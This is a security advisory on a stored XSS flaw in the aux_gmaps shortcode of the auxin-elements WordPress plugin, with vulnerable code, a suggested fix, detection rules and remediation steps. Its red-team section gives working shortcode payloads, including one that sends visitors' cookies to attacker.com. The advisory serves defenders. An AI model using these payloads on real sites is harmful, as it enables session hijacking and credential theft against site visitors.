CVE-2024-3341

Executive Summary

CVE-2024-3341 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements) developed by Auxin. The flaw exists in the aux_gmaps shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability affects all versions up to and including 2.15.7. As of this report, no official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, given the widespread use of the Phlox theme, the risk remains significant for unpatched sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also bundled with the Phlox theme. Users who installed the plugin from the WordPress repository or as part of the theme are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for a low-privileged user to inject persistent scripts that affect all visitors makes this a serious concern for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the aux_gmaps shortcode handler within the auxin-elements plugin. The shortcode is designed to embed Google Maps via user-provided attributes such as address, zoom, height, etc. The plugin fails to sanitize these attributes before outputting them into the page HTML.

Root Cause: The plugin uses esc_attr() or similar escaping functions inconsistently, or not at all, for certain attributes. An attacker can inject JavaScript event handlers (e.g., onfocus, onmouseover) or javascript: URIs into attributes like address or height.

Attack Flow:

1. An authenticated user with Contributor role creates a new post or page.
2. The user inserts the [aux_gmaps] shortcode with a malicious attribute, e.g.:

   [aux_gmaps address="test" onfocus="alert(document.cookie)" autofocus="true"]
   

3. The plugin renders the shortcode without proper escaping, resulting in:

   <div onfocus="alert(document.cookie)" autofocus="true">...</div>
   

4. When any user (including admins) visits the page, the script executes.

Why Stored XSS is Dangerous: The injected script persists in the database and executes for every visitor, making it ideal for widespread attacks such as redirecting users to phishing sites, stealing session cookies, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.15.7):

// In auxin-elements/includes/elements/gmaps.php
function auxin_gmaps_shortcode( $atts, $content = null ) {
    extract( shortcode_atts( array(
        'address' => '',
        'height'  => 300,
        'zoom'    => 15,
        // ...
    ), $atts ) );

    // Directly outputting user input without escaping
    $output = '<div class="aux-gmaps" style="height:' . $height . 'px;" data-address="' . $address . '">';
    // ...
    return $output;
}

Patched Code (hypothetical fix):

function auxin_gmaps_shortcode( $atts, $content = null ) {
    $atts = shortcode_atts( array(
        'address' => '',
        'height'  => 300,
        'zoom'    => 15,
    ), $atts );

    // Sanitize and escape each attribute
    $height = intval( $atts['height'] );
    $address = esc_attr( $atts['address'] );
    $zoom = intval( $atts['zoom'] );

    $output = '<div class="aux-gmaps" style="height:' . $height . 'px;" data-address="' . $address . '">';
    // ...
    return $output;
}

The fix involves:

• Using intval() for numeric attributes.
• Using esc_attr() for string attributes.
• Avoiding extract() to prevent variable overwriting.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with auxin-elements plugin <= 2.15.7
• Authenticated user with Contributor role or higher

Step-by-Step Exploit:

1. Log in as a Contributor.
2. Create a new post or page.
3. Switch to Text/Code editor.
4. Insert the following shortcode:

   [aux_gmaps address="test" onfocus="alert('XSS')" autofocus="true"]
   

5. Publish or preview the post.
6. When the page loads, the onfocus event fires, executing the JavaScript.

Advanced Payload (Cookie Stealing):

[aux_gmaps address="test" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"]

Note: The autofocus attribute is used to trigger the event automatically without user interaction.

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing [aux_gmaps shortcode with suspicious attributes (e.g., onfocus, onmouseover, javascript:).
• Use Web Application Firewall (WAF) rules to block shortcode attributes containing event handlers.
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.

Prevention:

• Disable the plugin until a patch is released.
• Restrict Contributor-level users from using shortcodes via user role editor plugins.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown domains containing ?cookie= or similar parameters.
• Requests to https://attacker.com/steal or similar endpoints.

Host IOCs:

• WordPress posts/pages containing [aux_gmaps shortcode with on* attributes.
• Database entries in wp_posts table with post_content containing [aux_gmaps and event handlers.
• Suspicious JavaScript files or inline scripts in the page source.

File IOCs:

• Modified auxin-elements/includes/elements/gmaps.php file (if attacker gained file access).

Detection Engineering

YARA Rule

rule CVE_2024_3341_Stored_XSS_aux_gmaps {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-3341 in WordPress auxin-elements plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3341"
        severity = "medium"
    strings:
        $shortcode = /\[aux_gmaps[^\]]*?(on\w+\s*=|javascript\s*:)/ nocase
        $event_handler = /on\w+\s*=\s*["']?[^"']*?\(/ nocase
        $js_uri = /javascript\s*:\s*\w+/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3341 Stored XSS via aux_gmaps Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of WordPress posts/pages containing malicious aux_gmaps shortcode attributes
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3341
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '[aux_gmaps'
        post_content|re: 'on\w+\s*=\s*["\x27]?[^"\x27]*?\('
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3341 Stored XSS via aux_gmaps Shortcode"; flow:to_server,established; content:"[aux_gmaps"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27]?[^\x22\x27]*?\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential: Deactivate and delete auxin-elements from the WordPress admin panel.
2. Restrict user roles: Remove Contributor and Author roles' ability to use shortcodes via a plugin like "User Role Editor".
3. Apply virtual patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing [aux_gmaps with event handler attributes.

Long-term Fix:

• Monitor the Auxin plugin repository for an official patch. Once released, update to the patched version immediately.
• If no patch is forthcoming, consider forking the plugin and applying the fix manually (see Vulnerable vs. Patched Code section).

Workaround:

• Add the following code to your theme's functions.php to disable the vulnerable shortcode:

remove_shortcode('aux_gmaps');

Valters IT – Securing digital frontiers, one CVE at a time.